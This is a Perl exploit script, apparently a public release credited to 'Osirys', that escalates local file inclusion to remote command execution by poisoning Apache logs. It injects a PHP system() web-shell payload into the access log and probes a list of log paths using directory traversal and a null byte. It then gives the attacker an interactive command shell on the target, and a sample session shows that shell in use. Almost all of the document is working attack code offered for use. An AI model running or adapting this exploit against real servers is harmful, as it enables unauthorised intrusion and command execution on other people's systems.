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- #!/usr/bin/perl
- # From Local File Inclusion to Remote Command Execution via Apache logs poisoning Exploit
- # Coded by Giovanni Buzzin, "Osirys"
- # WebSite : www.y-osirys.com
- # Contacts :
- # me[at]y-osirys[dot]com
- # osirys[at]autistici[dot]org
- # ------------------------------------------------------------------
- # Exploit in action [>!]
- # ------------------------------------------------------------------
- # Usage : perl filename full_website_plus_path vuln_file_plus_var
- # ------------------------------------------------------------------
- # osirys[~]>$ perl lfi_rce.txt http://localhost/test/ index.php?page=
- #
- # ---------------------------
- # LFI to RCE Sploit
- # (Log Inj)
- # by Osirys
- # ---------------------------
- #
- # [*] Injecting evil php code ..
- # [*] Cheeking for Apache Logs ..
- # [*] Apache Log Injection completed
- # [*] Path: /var/log/httpd/access_log
- # [!] Hi my master, do your job now [x]
- #
- # shell[localhost]$> id
- # uid=80(apache) gid=80(apache) groups=80(apache)
- # shell[localhost]$> pws
- # bash: pws: command not found
- # shell[localhost]$> pwd
- # /home/osirys/web/test/
- # shell[localhost]$> exit
- # [-] Quitting ..
- #
- # osirys[~]>$
- # ------------------------------------------------------------------
- use IO::Socket::INET;
- use LWP::UserAgent;
- my $host = $ARGV[0];
- my $lfi_path = $ARGV[1];
- my $null_byte = "%00";
- my $rand_a = int(rand 150);
- my $rand1 = "1337".$rand_a."1337";
- my $rand_b = int(rand 150);
- my $rand2 = "1337".$rand_b."1337";
- my $gotcha = 0;
- my $dir_trasv = "../../../../../../../../../..";
- my @logs_dirs = qw(
- /var/log/httpd/access_log
- /var/log/httpd/access.log
- /var/log/httpd/error.log
- /var/log/httpd/error_log
- /var/log/access_log
- /logs/error.log
- /logs/access.log
- /var/log/apache/error_log
- /var/log/apache/error.log
- /etc/httpd/logs/access_log
- /usr/local/apache/logs/error_log
- /etc/httpd/logs/access.log
- /etc/httpd/logs/error_log
- /etc/httpd/logs/error.log
- /usr/local/apache/logs/access_log
- /usr/local/apache/logs/access.log
- /var/www/logs/access_log
- /var/www/logs/access.log
- /var/log/apache/access_log
- /var/log/apache/access.log
- /var/log/access_log
- /var/www/logs/error_log
- /var/www/logs/error.log
- /usr/local/apache/logs/error.log
- /var/log/error_log
- /apache/logs/error.log
- /apache/logs/access.log
- );
- my $php_code = "<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=st".
- "ripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";
- (($host)&&($lfi_path)) || help("-1");
- cheek($host) == 1 || help("-2");
- cheek($lfi_path) == 1 || help("-2");
- &banner;
- $datas = get_input($host);
- $datas =~ /(.*) (.*)/;
- ($h0st,$path) = ($1,$2);
- $sock = IO::Socket::INET->new(
- PeerAddr => $h0st,
- PeerPort => 80,
- Proto => "tcp"
- ) || die "Can't connect to $host:80!\n";
- print "[*] Injecting evil php code ..\n";
- print $sock "GET /Osirys_log_inj start0".$rand1.$php_code."0end".$rand2." HTTP/1.1\r\n";
- print $sock "Host: ".$host."\r\n";
- print $sock "Connection: close\r\n\r\n";
- close($sock);
- print "[*] Cheeking for Apache Logs ..\n";
- while (($log = <@logs_dirs>)&&($gotcha != 1)) {
- $tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;
- $re = get_req($tmp_path);
- if ($re =~ /Osirys_log_inj/) {
- $gotcha = 1;
- $log_path = $tmp_path;
- print "[*] Apache Log Injection completed\n";
- print "[*] Path: $log\n";
- print "[!] Hi my master, do your job now [x]\n\n";
- &exec_cmd;
- }
- }
- $gotcha == 1 || die "[-] Couldn't find Apache Logs\n";
- sub exec_cmd {
- $h0st !~ /www\./ || $h0st =~ s/www\.//;
- print "shell[$h0st]\$> ";
- $cmd = <STDIN>;
- $cmd !~ /exit/ || die "[-] Quitting ..\n\n";
- $exec_url = $log_path."&cmd=".$cmd;
- my $re = get_req($exec_url);
- my $content = tag($re);
- if ($content =~ m/start0$rand1(.+)\*0end$rand2/g) {
- my $out = $1;
- $out =~ s/\$/ /g;
- $out =~ s/\*/\n/g;
- chomp($out);
- print "$out\n";
- &exec_cmd;
- }
- else {
- $c++;
- $cmd =~ s/\n//;
- print "bash: ".$cmd.": command not found\n";
- $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
- &exec_cmd;
- }
- }
- sub get_req() {
- $link = $_[0];
- my $req = HTTP::Request->new(GET => $link);
- my $ua = LWP::UserAgent->new();
- $ua->timeout(4);
- my $response = $ua->request($req);
- return $response->content;
- }
- sub cheek() {
- my($k,$string) = ($_[0],$_[1]);
- if ($k == 1) {
- if ($string =~ /http:\/\/(.+)/) {
- return 1;
- }
- else {
- return 0;
- }
- }
- elsif ($k == 2) {
- if ($string =~ /(.+)\.(.+)\?(.+)=/) {
- return 1;
- }
- else {
- return 0;
- }
- }
- }
- sub get_input() {
- my $host = $_[0];
- $host =~ /http:\/\/(.*)/;
- $s_host = $1;
- $s_host =~ /([a-z.-]{1,30})\/(.*)/;
- ($h0st,$path) = ($1,$2);
- $path =~ s/(.*)/\/$1/;
- $full_det = $h0st." ".$path;
- return $full_det;
- }
- sub tag() {
- my $string = $_[0];
- $string =~ s/ /\$/g;
- $string =~ s/\s/\*/g;
- return($string);
- }
- sub banner {
- print "\n".
- " --------------------------- \n".
- " LFI to RCE Sploit \n".
- " (Log Inj) \n".
- " by Osirys \n".
- " --------------------------- \n\n";
- }
- sub help() {
- my $error = $_[0];
- if ($error == -1) {
- &banner;
- print "\n[-] Input data failed ! \n";
- }
- elsif ($error == -2) {
- &banner;
- print "\n[-] Bad hostname address !\n";
- }
- print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
- exit(0);
- }
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